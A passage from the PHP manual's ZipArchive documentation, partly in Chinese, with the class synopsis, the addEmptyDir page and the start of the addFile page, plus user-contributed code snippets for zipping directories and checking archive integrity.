public const int LENGTH_UNCHECKED;
/* 属性 */
public readonly int $lastId;
public readonly int $status;
public readonly int $statusSys;
public readonly int $numFiles;
public readonly string $filename;
public readonly string $comment;
/* 方法 */
public addEmptyDir(string $dirname, int $flags = 0): bool
public addFile(
string $filepath,
string $entryname = "",
int $start = 0,
int $length = ZipArchive::LENGTH_TO_END,
int $flags = ZipArchive::FL_OVERWRITE
): bool
public addFromString(string $name, string $content, int $flags = ZipArchive::FL_OVERWRITE): bool
public addGlob(string $pattern, int $flags = 0, array $options = []): array|false
public addPattern(string $pattern, string $path = ".", array $options = []): array|false
public clearError(): void
public close(): bool
public count(): int
public deleteIndex(int $index): bool
public deleteName(string $name): bool
public extractTo(string $pathto, array|string|null $files = null): bool
public getArchiveComment(int $flags = 0): string|false
public getArchiveFlag(int $flag = 0, int $flags = 0): int
public getCommentIndex(int $index, int $flags = 0): string|false
public getCommentName(string $name, int $flags = 0): string|false
public getExternalAttributesIndex(
int $index,
int &$opsys,
int &$attr,
int $flags = 0
): bool
public getExternalAttributesName(
string $name,
int &$opsys,
int &$attr,
int $flags = 0
): bool
public getFromIndex(int $index, int $len = 0, int $flags = 0): string|false
public getFromName(string $name, int $len = 0, int $flags = 0): string|false
public getNameIndex(int $index, int $flags = 0): string|false
public getStatusString(): string
public getStream(string $name): resource|false
public getStreamIndex(int $index, int $flags = 0): resource|false
public getStreamName(string $name, int $flags = 0): resource|false
public static isCompressionMethodSupported(int $method, bool $enc = true): bool
public static isEncryptionMethodSupported(int $method, bool $enc = true): bool
public locateName(string $name, int $flags = 0): int|false
public open(string $filename, int $flags = 0): bool|int
public registerCancelCallback(callable $callback): bool
public registerProgressCallback(float $rate, callable $callback): bool
public renameIndex(int $index, string $new_name): bool
public renameName(string $name, string $new_name): bool
public replaceFile(
string $filepath,
int $index,
int $start = 0,
int $length = ZipArchive::LENGTH_TO_END,
int $flags = 0
): bool
public setArchiveComment(string $comment): bool
public setArchiveFlag(int $flag, int $value): bool
public setCommentIndex(int $index, string $comment): bool
public setCommentName(string $name, string $comment): bool
public setCompressionIndex(int $index, int $method, int $compflags = 0): bool
public setCompressionName(string $name, int $method, int $compflags = 0): bool
public setEncryptionIndex(int $index, int $method, ?string $password = null): bool
public setEncryptionName(string $name, int $method, ?string $password = null): bool
public setExternalAttributesIndex(
int $index,
int $opsys,
int $attr,
int $flags = 0
): bool
public setExternalAttributesName(
string $name,
int $opsys,
int $attr,
int $flags = 0
): bool
public setMtimeIndex(int $index, int $timestamp, int $flags = 0): bool
public setMtimeName(string $name, int $timestamp, int $flags = 0): bool
public setPassword(string $password): bool
public statIndex(int $index, int $flags = 0): array|false
public statName(string $name, int $flags = 0): array|false
public unchangeAll(): bool
public unchangeArchive(): bool
public unchangeIndex(int $index): bool
public unchangeName(string $name): bool
}

属性

lastId

最后新增的条目（文件或目录）索引值。 从 PHP 8.0.0 和 PECL zip 1.18.0 开始可用。

status

Zip 归档的状态。从 PHP 8.0.0 和 PECL zip 1.18.0 开始，可用于关闭归档。

statusSys

Zip 归档的系统状态。从 PHP 8.0.0 和 PECL zip 1.18.0 开始，可用于关闭归档。

numFiles

归档里的文件数

filename

在文件系统里的文件名

comment

归档里的注释

Table of Contents

  • ZipArchive::addEmptyDir — Add a new directory
  • ZipArchive::addFile — Adds a file to a ZIP archive from the given path
  • ZipArchive::addFromString — Add a file to a ZIP archive using its contents
  • ZipArchive::addGlob — Add files from a directory by glob pattern
  • ZipArchive::addPattern — Add files from a directory by PCRE pattern
  • ZipArchive::clearError — 清除状态错误消息、系统和/或 zip 消息
  • ZipArchive::close — Close the active archive (opened or newly created)
  • ZipArchive::count — Counts the number of files in the archive
  • ZipArchive::deleteIndex — Delete an entry in the archive using its index
  • ZipArchive::deleteName — Delete an entry in the archive using its name
  • ZipArchive::extractTo — 解压缩文件
  • ZipArchive::getArchiveComment — Returns the Zip archive comment
  • ZipArchive::getArchiveFlag — 返回 Zip 归档全局 flag 的值
  • ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index
  • ZipArchive::getCommentName — Returns the comment of an entry using the entry name
  • ZipArchive::getExternalAttributesIndex — Retrieve the external attributes of an entry defined by its index
  • ZipArchive::getExternalAttributesName — Retrieve the external attributes of an entry defined by its name
  • ZipArchive::getFromIndex — Returns the entry contents using its index
  • ZipArchive::getFromName — Returns the entry contents using its name
  • ZipArchive::getNameIndex — Returns the name of an entry using its index
  • ZipArchive::getStatusString — Returns the status error message, system and/or zip messages
  • ZipArchive::getStream — Get a file handler to the entry defined by its name (read only)
  • ZipArchive::getStreamIndex — Get a file handler to the entry defined by its index (read only)
  • ZipArchive::getStreamName — Get a file handler to the entry defined by its name (read only)
  • ZipArchive::isCompressionMethodSupported — Check if a compression method is supported by libzip
  • ZipArchive::isEncryptionMethodSupported — Check if a encryption method is supported by libzip
  • ZipArchive::locateName — Returns the index of the entry in the archive
  • ZipArchive::open — Open a ZIP file archive
  • ZipArchive::registerCancelCallback — Register a callback to allow cancellation during archive close.
  • ZipArchive::registerProgressCallback — Register a callback to provide updates during archive close.
  • ZipArchive::renameIndex — Renames an entry defined by its index
  • ZipArchive::renameName — Renames an entry defined by its name
  • ZipArchive::replaceFile — Replace file in ZIP archive with a given path
  • ZipArchive::setArchiveComment — Set the comment of a ZIP archive
  • ZipArchive::setArchiveFlag — 设置 ZIP 归档的全局 flag
  • ZipArchive::setCommentIndex — Set the comment of an entry defined by its index
  • ZipArchive::setCommentName — Set the comment of an entry defined by its name
  • ZipArchive::setCompressionIndex — Set the compression method of an entry defined by its index
  • ZipArchive::setCompressionName — Set the compression method of an entry defined by its name
  • ZipArchive::setEncryptionIndex — Set the encryption method of an entry defined by its index
  • ZipArchive::setEncryptionName — Set the encryption method of an entry defined by its name
  • ZipArchive::setExternalAttributesIndex — Set the external attributes of an entry defined by its index
  • ZipArchive::setExternalAttributesName — Set the external attributes of an entry defined by its name
  • ZipArchive::setMtimeIndex — Set the modification time of an entry defined by its index
  • ZipArchive::setMtimeName — Set the modification time of an entry defined by its name
  • ZipArchive::setPassword — Set the password for the active archive
  • ZipArchive::statIndex — Get the details of an entry defined by its index
  • ZipArchive::statName — Get the details of an entry defined by its name
  • ZipArchive::unchangeAll — Undo all changes done in the archive
  • ZipArchive::unchangeArchive — Revert all global changes done in the archive
  • ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index
  • ZipArchive::unchangeName — Revert all changes done to an entry with the given name

User Contributed Notes

theking2(at)king.ma 20-May-2023 05:00
A modern way to zip a folder recursivly is using the DirectoryIterator. I use this little class:

<?php
class MakeZip
{
  private ZipArchive $zipArchive;
  private int $startPathLength; // chars to remove from the start for the stored entity

  public function __construct(
    string $zipArchivename,
    public readonly string $startPath,
    public readonly mixed $convert_function,
  )
  {
    $this->zipArchive = new \ZipArchive;
    $this->zipArchive->open($zipArchivename, ZipArchive::CREATE);
    $this->startPathLength = strlen($this-> startPath);

    $this-> zipDir($startPath);
  }
  public function __destruct()
  {
    $this-> zipArchive-> close();
  }

  /**
   * Add files and sub-directories in a folder to zip file.
   * @param string $folder
   * @param ZipArchive $zipFile
   * @param int $exclusiveLength Number of text to be exclusived from the file path.
   */
  private function zipDir($folder)
  {
    echo $folder . '<br>' . PHP_EOL;
    foreach (new \DirectoryIterator($folder) as $f) {
      if ($f->isDot())
        continue; //skip . ..
      if ($f->isDir()) {
        if( $f->getExtension() === 'git') continue; // skip .git folder
        $this-> zipArchive-> addEmptyDir($f->getPathname());
        $this-> zipDir($f->getPathname());

        continue;
      }
      if ($f->isFile()) {
        if ($f->getBasename() === basename(__FILE__)) continue; // skip self
        if ($f->getExtension() === 'zip') continue; // skip ZIP files

        $this-> zipArchive ->addFile( substr($f-> getPathname(), $this-> startPathLength) ); // remove './'

        continue;
      }

    }
  }
}
?>

Which can be used thusly:
<?php
  $host = str_replace('.', '_', $_SERVER['HTTP_HOST']);
  $date = date('Ymd-His');

  $zip = new \MakeZip("./archiv-$host-$date.zip", './', $convert_function);
  unset($zip);
?>

Add encryption or other features in the constructor.
M. Wolf 17-Aug-2016 05:39
How to detect corrupt files with CRC mismatch:

Creating a corrupt archive for testing is simple - zip some files and change a byte with a hex editor in the resulting ZIP file. Now you can test the file with a ZIP application to learn which file inside the archive is corrupt.

ZipArchive seems unable to detect broken files. ZipArchive::CHECKCONS doesn't help, only if it's not a ZIP file at all. It happily decompressed corrupt files in my tests and the user downloading the data is not informed.

You can simply verify on the server for smaller files:
<?php
$maxsize = 1024*1024;
$z = new ZipArchive;
$r = $z->open("foo.zip", ZipArchive::CHECKCONS);
if($r !== TRUE)
  die('ZIP error when trying to open "foo.zip": '.$r);

$stat = $z->statName("mybrokenfile.txt");
if($stat['size'] > $maxsize)
  die('File too large, decompression denied');
$s = $z->getStream($file);
$data = stream_get_contents($s, $maxsize);
fclose($s);
if($stat['crc'] != crc32($data))
  die('File is corrupt!');
//echo 'File is valid';

//you may send the file to the client now if you didn't output anything before
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="mybrokenfile.txt"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . $stat['size']);
ob_clean();
echo $data;
$z->close();
?>
If the file shall not be fully decompressed on the server but decompressed while streaming to the client due to it's size, the file transfer already startet and printing an error message later doesn't work. Maybe the best way would be to interrupt the connection before closing the file transfer. The client should be able to detect this as corrupt download.
On the server side a function is needed, that can calculate the CRC32 on streamed data stepwise.
ohcc at 163 dot com 28-Nov-2015 06:14
With PHP 5.6+, you may come up with theses errors.

Warning: Unknown: Cannot destroy the zip context in Unknown on line 0

Warning: ZipArchive::close(): Can't remove file: No such file or directory in xxxx.php on line xx

Examples

Warning: Unknown: Cannot destroy the zip context in Unknown on line 0

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
?>

Warning: ZipArchive::close(): Can't remove file: No such file or directory in xxxx.php on line xx

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $za->close();
?>

It happens when the zip archive is empty.
Your zip archive will not be saved on disk unless it has at least one file. What's more, when ZipArchive::OVERWRITE is applied, if there exists a file with the same name, it will be removed after ZipArchive::open() is called.

So, don't forget to put at least one file to your zip archive.

<?php
    $za = new ZipArchive;
    $za->open('51-n.com.zip',ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $za->addFromString('wuxiancheng.cn.txt','yes');
    $za->close();
?>
ohcc at 163 dot com 06-Nov-2015 08:58
<?php
    //use bzip2 + ZipArchive to reduce file size of your zip archives.
    $zip = new ZipArchive;
    $zip->open('i.zip',ZIPARCHIVE::CREATE|ZIPARCHIVE::OVERWRITE);
    $file='wuxiancheng.cn.sql';
    $bzFilename = $file.'.bz2';
    $sql = file_get_contents($file);
    $sql = bzcompress($sql,9);
    $zip->addFromString($bzFilename,$sql);
    $zip->setArchiveComment('zipped on '.date('Y-M-d'));
?>
nick at fullfatthings dot com 24-Mar-2015 02:59
There is a limit withing PHP 5.3.3 (which seems to have been addressed in later versions; 5.3.29 seems ok on a different server).

If you try to open a zip file with more than 65,535 files in it (in my case it had 237,942 files) then you cannot access the later files. The numFiles property only reports the first 65k files.
ebestwebmaster at gmail dot com 16-Dec-2014 11:46
A way of zipping files and downloading them thereafter:
<?php

 $files = array('image.jpeg','text.txt','music.wav');
$zipname = 'enter_any_name_for_the_zipped_file.zip';
$zip = new ZipArchive;
$zip->open($zipname, ZipArchive::CREATE);
foreach ($files as $file) {
  $zip->addFile($file);
}
$zip->close();

///Then download the zipped file.
header('Content-Type: application/zip');
header('Content-disposition: attachment; filename='.$zipname);
header('Content-Length: ' . filesize($zipname));
readfile($zipname);

?>
piotr dot stop dot spam at gmail dot com 17-Jan-2014 04:58
You can check general purpose flag to test if the zip file is encrypted. Example function below.

<?php

/**
 * Check if the file is encrypted
 *
 * Notice: if file doesn't exists or cannot be opened, function
 * also return false.
 *
 * @param string $pathToArchive
 * @return boolean return true if file is encrypted
 */
function isEncryptedZip( $pathToArchive ) {
    $fp = @fopen( $pathToArchive, 'r' );
    $encrypted = false;
    if ( $fp && fseek( $fp, 6 ) == 0 ) {
        $string = fread( $fp, 2 );
        if ( false !== $string ) {
            $data = unpack("vgeneral", $string);
            $encrypted = $data[ 'general' ] & 0x01 ? true : false;
        }
        fclose( $fp );
    }
    return $encrypted;
}
AshleyDambra at live dot com 16-May-2013 08:23
Simple class xZip to zip big folders into multiple parts and unzip multi zip files at once.

<?php
class xZip {
    public function __construct() {}
    private function _rglobRead($source, &$array = array()) {
        if (!$source || trim($source) == "") {
            $source = ".";
        }
        foreach ((array) glob($source . "/*/") as $key => $value) {
            $this->_rglobRead(str_replace("//", "/", $value), $array);
        }

        foreach ((array) glob($source . "*.*") as $key => $value) {
            $array[] = str_replace("//", "/", $value);
        }
    }
    private function _zip($array, $part, $destination) {
        $zip = new ZipArchive;
        @mkdir($destination, 0777, true);

        if ($zip->open(str_replace("//", "/", "{$destination}/partz{$part}.zip"), ZipArchive::CREATE)) {
            foreach ((array) $array as $key => $value) {
                $zip->addFile($value, str_replace(array("../", "./"), NULL, $value));
            }
            $zip->close();
        }
    }
    public function zip($limit = 500, $source = NULL, $destination = "./") {
        if (!$destination || trim($destination) == "") {
            $destination = "./";
        }

        $this->_rglobRead($source, $input);
        $maxinput = count($input);
        $splitinto = (($maxinput / $limit) > round($maxinput / $limit, 0)) ? round($maxinput / $limit, 0) + 1 : round($maxinput / $limit, 0);

        for($i = 0; $i < $splitinto; $i ++) {
            $this->_zip(array_slice($input, ($i * $limit), $limit, true), $i, $destination);
        }

        unset($input);
        return;
    }
    public function unzip($source, $destination) {
        @mkdir($destination, 0777, true);

        foreach ((array) glob($source . "/*.zip") as $key => $value) {
            $zip = new ZipArchive;
            if ($zip->open(str_replace("//", "/", $value)) === true) {
                $zip->extractTo($destination);
                $zip->close();
            }
        }
    }

    public function __destruct() {}
}

//$zip = new xZip;
//$zip->zip(500, "images/", "images_zip/");
//$zip->unzip("images_zip/", "images/");
?>
umbalaconmeogia at NOSPAM dot gmail dot com 28-Nov-2012 03:48
Zip a folder (include itself).
Usage:
  HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');

<?php
class HZip
{
  /**
   * Add files and sub-directories in a folder to zip file.
   * @param string $folder
   * @param ZipArchive $zipFile
   * @param int $exclusiveLength Number of text to be exclusived from the file path.
   */
  private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
    $handle = opendir($folder);
    while (false !== $f = readdir($handle)) {
      if ($f != '.' && $f != '..') {
        $filePath = "$folder/$f";
        // Remove prefix from file path before add to zip.
        $localPath = substr($filePath, $exclusiveLength);
        if (is_file($filePath)) {
          $zipFile->addFile($filePath, $localPath);
        } elseif (is_dir($filePath)) {
          // Add sub-directory.
          $zipFile->addEmptyDir($localPath);
          self::folderToZip($filePath, $zipFile, $exclusiveLength);
        }
      }
    }
    closedir($handle);
  }

  /**
   * Zip a folder (include itself).
   * Usage:
   *   HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
   *
   * @param string $sourcePath Path of directory to be zip.
   * @param string $outZipPath Path of output zip file.
   */
  public static function zipDir($sourcePath, $outZipPath)
  {
    $pathInfo = pathInfo($sourcePath);
    $parentPath = $pathInfo['dirname'];
    $dirName = $pathInfo['basename'];

    $z = new ZipArchive();
    $z->open($outZipPath, ZIPARCHIVE::CREATE);
    $z->addEmptyDir($dirName);
    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
    $z->close();
  }
}
?>
niklas dot schumi at NOSPAM dot googlemail dot com 02-Aug-2012 10:44
Hi there.
I just wrote a little function to zip a whole folder while maintaining the dir-structure. I hope it might help someone.

<?php
function folderToZip($folder, &$zipFile, $subfolder = null) {
    if ($zipFile == null) {
        // no resource given, exit
        return false;
    }
    // we check if $folder has a slash at its end, if not, we append one
    $folder .= end(str_split($folder)) == "/" ? "" : "/";
    $subfolder .= end(str_split($subfolder)) == "/" ? "" : "/";
    // we start by going through all files in $folder
    $handle = opendir($folder);
    while ($f = readdir($handle)) {
        if ($f != "." && $f != "..") {
            if (is_file($folder . $f)) {
                // if we find a file, store it
                // if we have a subfolder, store it there
                if ($subfolder != null)
                    $zipFile->addFile($folder . $f, $subfolder . $f);
                else
                    $zipFile->addFile($folder . $f);
            } elseif (is_dir($folder . $f)) {
                // if we find a folder, create a folder in the zip
                $zipFile->addEmptyDir($f);
                // and call the function again
                folderToZip($folder . $f, $zipFile, $f);
            }
        }
    }
}
?>

Use it like this:
<?php
$z = new ZipArchive();
$z->open("test.zip", ZIPARCHIVE::CREATE);
folderToZip("storeThisFolder", $z);
$z->close();
?>

Have a good day!
panique at web dot de 14-Jul-2012 11:21
Important: Due to the natural file size limit of 4GB (~3,6GB to be correct) of zip files, this class will generate corrupt files of the result is larger than 4 GB. Using tar.gz is a proper alternative.
bruno dot vibert at bonobox dot fr 09-May-2012 08:21
There is a usefull function to get the ZipArchive status as a human readable string :

<?php
function ZipStatusString( $status )
{
    switch( (int) $status )
    {
        case ZipArchive::ER_OK           : return 'N No error';
        case ZipArchive::ER_MULTIDISK    : return 'N Multi-disk zip archives not supported';
        case ZipArchive::ER_RENAME       : return 'S Renaming temporary file failed';
        case ZipArchive::ER_CLOSE        : return 'S Closing zip archive failed';
        case ZipArchive::ER_SEEK         : return 'S Seek error';
        case ZipArchive::ER_READ         : return 'S Read error';
        case ZipArchive::ER_WRITE        : return 'S Write error';
        case ZipArchive::ER_CRC          : return 'N CRC error';
        case ZipArchive::ER_ZIPCLOSED    : return 'N Containing zip archive was closed';
        case ZipArchive::ER_NOENT        : return 'N No such file';
        case ZipArchive::ER_EXISTS       : return 'N File already exists';
        case ZipArchive::ER_OPEN         : return 'S Can\'t open file';
        case ZipArchive::ER_TMPOPEN      : return 'S Failure to create temporary file';
        case ZipArchive::ER_ZLIB         : return 'Z Zlib error';
        case ZipArchive::ER_MEMORY       : return 'N Malloc failure';
        case ZipArchive::ER_CHANGED      : return 'N Entry has been changed';
        case ZipArchive::ER_COMPNOTSUPP  : return 'N Compression method not supported';
        case ZipArchive::ER_EOF          : return 'N Premature EOF';
        case ZipArchive::ER_INVAL        : return 'N Invalid argument';
        case ZipArchive::ER_NOZIP        : return 'N Not a zip archive';
        case ZipArchive::ER_INTERNAL     : return 'N Internal error';
        case ZipArchive::ER_INCONS       : return 'N Zip archive inconsistent';
        case ZipArchive::ER_REMOVE       : return 'S Can\'t remove file';
        case ZipArchive::ER_DELETED      : return 'N Entry has been deleted';

        default: return sprintf('Unknown status %s', $status );
    }
}

?>
webmaster at sebastiangrinke dot info 06-Oct-2011 01:30
Here is a simple function which zips folders with all sub folders or only a simple file... the $data var can be a string or an array...

<?php
public function un_zip($data,$arcpf,$mode='zip',$obj=''){
        $absoluterpfad = 'YOUR_BASE_PATH';
        $arcpf = $absoluterpfad.DS.$arcpf;
        if(is_object($obj)==false){
             $archiv = new ZipArchive();
             $archiv->open($arcpf,ZipArchive::CREATE);
        }else{$archiv =& $obj;}
        if($mode=='zip'){
           if(is_array($data)==true){
                 foreach($data as $dtmp){
                     $archiv =& un_zip($dtmp,$arcpf,'zip',&$archiv);
                 }
           }else{
            if(is_dir($data)==true){
                    $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data));
                  $files = scandir($data);
               $bad = array('.','..');
               $files = array_diff($files,$bad);
               foreach($files as $ftmp){
                   if(is_dir($data.DS.$ftmp)==true){
                        $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                        $archiv =& un_zip($data.DS.$ftmp,$arcpf,'zip',&$archiv);
                   }elseif(is_file($data.DS.$ftmp)==true){
                    $archiv->addFile($data.DS.$ftmp,str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                   }
                 }
            }elseif(is_file($data)==true){$archiv->addFile($data,str_replace($absoluterpfad.DS,'',$data));}
           }
        }
        if(is_object($obj)==false){$archiv->close();}
        else{return $archiv;}
        if($mode=='unzip'){$archiv->extractTo($data);}
    }
?>
Jerry dot Saravia at emc dot com 08-Aug-2011 01:57
The following code can be used to get a list of all the file names in a zip file.

<?php
$za = new ZipArchive();

$za->open('theZip.zip');

for( $i = 0; $i < $za->numFiles; $i++ ){
    $stat = $za->statIndex( $i );
    print_r( basename( $stat['name'] ) . PHP_EOL );
}
?>
h-fate at gmx dot net 05-Oct-2010 04:17
Be wary that there are several algorithms to generate a zip file. I found that Office OpenXML files created with ZipArchive are not recognized by Excel 2007, for example.

You have to use a different class to zip in this case, such as PclZip.
hardcorevenom at gmx dot com 15-Jun-2010 03:17
Read a file from an archive to a variable.
A warning is printed automatically in case of a CRC32 mismatch, which we capture, so we can print our own error message.

<?php
$zip = new ZipArchive();
if ($zip->open('archive.zip')) {
  $fp = $zip->getStream('myfile.txt'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to zipped file");
  $stat = $zip->statName('myfile.txt');

  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048); //reading more than 2156 bytes seems to disable internal CRC32 verification (bug?)
    }
    $s = ob_get_contents();
  ob_end_clean();
  if(stripos($s, "CRC error") != FALSE){
    echo 'CRC32 mismatch, current ';
    printf("%08X", crc32($buf)); //current CRC
    echo ', expected ';
    printf("%08X", $stat['crc']); //expected CRC
  }

  fclose($fp);
  $zip->close();
  //Done, unpacked file is stored in $buf
}
?>

To create a corrupt file, change a byte in a zip file using a hex editor.


Add a new directory

  • ? ZipArchive
  • ZipArchive::addFile ?
  • PHP Manual
  • ZipArchive
  • Add a new directory

ZipArchive::addEmptyDir

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.8.0)

ZipArchive::addEmptyDir — Add a new directory

说明

public ZipArchive::addEmptyDir(string $dirname, int $flags = 0): bool

Adds an empty directory in the archive.

参数

dirname

The directory to add.

flags

Bitmask consisting of ZipArchive::FL_ENC_GUESS, ZipArchive::FL_ENC_UTF_8, ZipArchive::FL_ENC_CP437. The behaviour of these constants is described on the ZIP constants page.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 / 1.18.0 | flags was added.

示例

Example #1 Create a new directory in an archive

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
if($zip->addEmptyDir('newDirectory')) {
echo 'Created a new root directory';
} else {
echo 'Could not create the directory';
}
$zip->close();
} else {
echo 'failed';
}
?>

User Contributed Notes

iunknownvb at gmail dot com 23-Dec-2022 04:32
I have modified thomas dot rubbert at yahoo dot de a little bit

$uploads_dir =storage_path().'/app/public/files/' ;
                    if(!file_exists($uploads_dir)){
                        mkdir($uploads_dir,0777,true);
                    }
                    $zip_file=$uploads_dir.'download.zip';
                    if(file_exists($zip_file)){
                        unlink($zip_file);
                    }
                    $zip = new \ZipArchive();
                    if (!$zip->open($zip_file, \ZIPARCHIVE::CREATE)) {
                        http_response_code(501);
                        echo 'Zip creation failed';
                        die();
                    }
                    $img=$uploads_dir.'img';

                    $dirName = realpath($img);
                    if (substr($dirName, -1) != DIRECTORY_SEPARATOR) {
                        $dirName.= DIRECTORY_SEPARATOR;
                    }
                    $dirStack = array($dirName);
                    //Find the index where the last dir starts
                    $cutFrom = strrpos(substr($dirName, 0, -1), DIRECTORY_SEPARATOR)+1;
                    while (!empty($dirStack)) {
                        $currentDir = array_pop($dirStack);
                        $filesToAdd = array();
                        $dir = dir($currentDir);
                        while (false !== ($node = $dir->read())) {
                            if (($node == '..') || ($node == '.')) {
                                continue;
                            }
                            if (is_dir($currentDir . $node)) {
                                array_push($dirStack, $currentDir . $node . DIRECTORY_SEPARATOR);
                            }
                            if (is_file($currentDir . $node)) {
                                $filesToAdd[] = $node;
                            }
                        }
                        $localDir =str_replace(DIRECTORY_SEPARATOR,'/',substr($currentDir, $cutFrom));
                        $zip->addEmptyDir($localDir);
                        foreach ($filesToAdd as $file) {
                            $zip->addFile($currentDir . $file, $localDir . $file);
                        }
                    }
// any additional files
                    $db=$uploads_dir.'databse.db';
                    //$zip->addFromString(basename($db), file_get_contents($db));
                    $zip->addFile($db, basename($db));
                    $zip->close();
tahazit dot co dot il at gmail dot com 28-Nov-2014 01:25
On PHP >5.4, This function will create a file, not a directory.

For instance:

   $zip->addEmptyDir ( 'path/to/dir/' );

will create the folders "path/", and "path/to/", and a dummy 0-byte file named "dir" in the latter.
If then we add a file to that dir, say like this:

   $zip->addFromString ( 'path/to/dir/file.txt', $data );

the result will be a SEPARATE folder named "dir" next to the dummy "dir" file. The "dir" folder will contain the file "file.txt".

This was tested on an APACHE server running PHP 5.4
hunter666 at abv dot bg 26-Jun-2010 01:44
Add folder and sub-directories to zip archive.

<?php
$archive_name = "archive.zip"; // name of zip file
$archive_folder = "folder"; // the folder which you archivate

$zip = new ZipArchive;
if ($zip -> open($archive_name, ZipArchive::CREATE) === TRUE)
{
    $dir = preg_replace('/[\/]{2,}/', '/', $archive_folder."/");

    $dirs = array($dir);
    while (count($dirs))
    {
        $dir = current($dirs);
        $zip -> addEmptyDir($dir);

        $dh = opendir($dir);
        while($file = readdir($dh))
        {
            if ($file != '.' && $file != '..')
            {
                if (is_file($file))
                    $zip -> addFile($dir.$file, $dir.$file);
                elseif (is_dir($file))
                    $dirs[] = $dir.$file."/";
            }
        }
        closedir($dh);
        array_shift($dirs);
    }

    $zip -> close();
    echo 'Archiving is sucessful!';
}
else
{
    echo 'Error, can\'t create a zip file!';
}
?>
thomas dot rubbert at yahoo dot de 30-May-2009 05:19
Here's a stack-based way to zip a directory. No recursion, no function, no class:

<?php
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);

$dirName = 'test';

if (!is_dir($dirName)) {
    throw new Exception('Directory ' . $dirName . ' does not exist');
}

$dirName = realpath($dirName);
if (substr($dirName, -1) != '/') {
    $dirName.= '/';
}

/*
 * NOTE BY danbrown AT php DOT net: A good method of making
 * portable code in this case would be usage of the PHP constant
 * DIRECTORY_SEPARATOR in place of the '/' (forward slash) above.
 */

$dirStack = array($dirName);
//Find the index where the last dir starts
$cutFrom = strrpos(substr($dirName, 0, -1), '/')+1;

while (!empty($dirStack)) {
    $currentDir = array_pop($dirStack);
    $filesToAdd = array();

    $dir = dir($currentDir);
    while (false !== ($node = $dir->read())) {
        if (($node == '..') || ($node == '.')) {
            continue;
        }
        if (is_dir($currentDir . $node)) {
            array_push($dirStack, $currentDir . $node . '/');
        }
        if (is_file($currentDir . $node)) {
            $filesToAdd[] = $node;
        }
    }

    $localDir = substr($currentDir, $cutFrom);
    $zip->addEmptyDir($localDir);

    foreach ($filesToAdd as $file) {
        $zip->addFile($currentDir . $file, $localDir . $file);
    }
}

$zip->close();
?>
D.Jann 07-Oct-2008 05:26
I've brought a little modification to dayjo's code, so it wouldn't re-create the whole structure of your working drive in the zip file:

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive, $zipdir = ''){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            if(!empty($zipdir)) $zipArchive->addEmptyDir($zipdir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive, $zipdir . $file . "/");
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file, $zipdir . $file);

                }
            }
        }
    }
}
?>

If you don't specify the third parameter (zipdir), the directory you're adding will be added at the root of the zip file.

D.Jann
pagetronic 12-Sep-2008 03:53
addEmptyDir doesn't exist now,
use $zip->addFile($file, $dir.$fichier);

nothing on the net about this,

addEmptyDir work on Ubuntu but not on Debian Etch
Anonymous 24-Aug-2008 03:28
Here's a simple recurring function to add a directory, all sub-directories and all files to an already created zip file;

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            $zipArchive->addEmptyDir($dir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive);
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file);

                }
            }
        }
    }
}
?>

Would be nice to see more input on these functions :)

Dayjo
benjamin dot seiller at antwerpes dot de 21-Jul-2008 04:37
There is kind of a bug in the method
ZipArchive::addFile
which affects the class ZipFolder below.
It is related to the numer of max filehandles of the OS.

As workaround add a file-counter to the class and close + reopen the archive if a certain number of files (directories count as files!) is reached.

For more details see here:
http://de.php.net/manual/en/function.ziparchive-addfile.php
or go directly here
http://bugs.php.net/bug.php?id=40494
or here
http://pecl.php.net/bugs/bug.php?id=9443


Adds a file to a ZIP archive from the given path

  • ? ZipArchive::addEmptyDir
  • ZipArchive::addFromString ?
  • PHP Manual
  • ZipArchive
  • Adds a file to a ZIP archive from the given path

ZipArchive::addFile

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::addFile — Adds a file to a ZIP archive from the given path

说明

public ZipArchive::addFile(
string $filepath,
string $entryname = "",
int $start = 0,
int $length = ZipArchive::LENGTH_TO_END,
int $flags = ZipArchive::FL_OVERWRITE
): bool

Adds a file to a ZIP archive from a given path.

Note: 为了最大限度地提高代码可移植性，建议在 ZIP 文件名中使用斜线 (/) 做为目录分隔符。

参数

filepath

The path to the file to add.

entryname

